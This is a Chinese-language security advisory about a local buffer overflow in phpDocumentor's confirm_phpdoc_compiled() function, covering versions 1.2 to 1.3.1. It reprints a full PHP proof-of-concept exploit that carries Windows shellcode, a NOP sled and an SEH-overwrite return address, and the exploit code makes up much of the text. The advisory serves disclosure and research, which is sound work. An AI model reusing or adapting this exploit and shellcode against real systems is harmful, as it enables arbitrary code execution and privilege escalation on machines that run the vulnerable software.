发布日期：2007-03-25
更新日期：2007-03-28

受影响系统：

PhpDocumentor PhpDocumentor 1.3.1
PhpDocumentor PhpDocumentor 1.3 RC4
PhpDocumentor PhpDocumentor 1.3 RC3
PhpDocumentor PhpDocumentor 1.2.3
PhpDocumentor PhpDocumentor 1.2.2
PhpDocumentor PhpDocumentor 1.2.1
PhpDocumentor PhpDocumentor 1.2

描述：

---

BUGTRAQ  ID: 23124

phpDocumentor（有时也被称为phpdoc或phpdocu）是PHP语言的标准自动化文档工具。

phpDocumentor的confirm_phpdoc_compiled()函数实现上存在缓冲区溢出漏洞，本地攻击者可能利用此漏洞执行任意指令，导致权限提升。

<*来源：rgod （rgod@autistici.org）
  
  链接：http://marc.info/?l=bugtraq&m=117492913405769&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc \
exploit //WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by
// site: http://retrogod.altervista.org

if (!extension_loaded("phpDOC")){
die("you need the phpDOC extension loaded.");
}


$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

//eip & ecx set to the same value ...
$eip="\x47\x30\xE9\x77";//0x77E93047      pop ECX - pop - retbis kernel32.dll
//and futher (junk...) inc edi, xor cl ch, *ja short*
//should work on sp4 if you find an usable address
$____suntzu=str_repeat("\x90",1393 - \
strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x90",12); \
confirm_phpdoc_compiled($____suntzu);

?>

建议：

---

厂商补丁：

PhpDocumentor
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.phpdoc.org/

浏览次数：3591
严重程度：0（网友投票）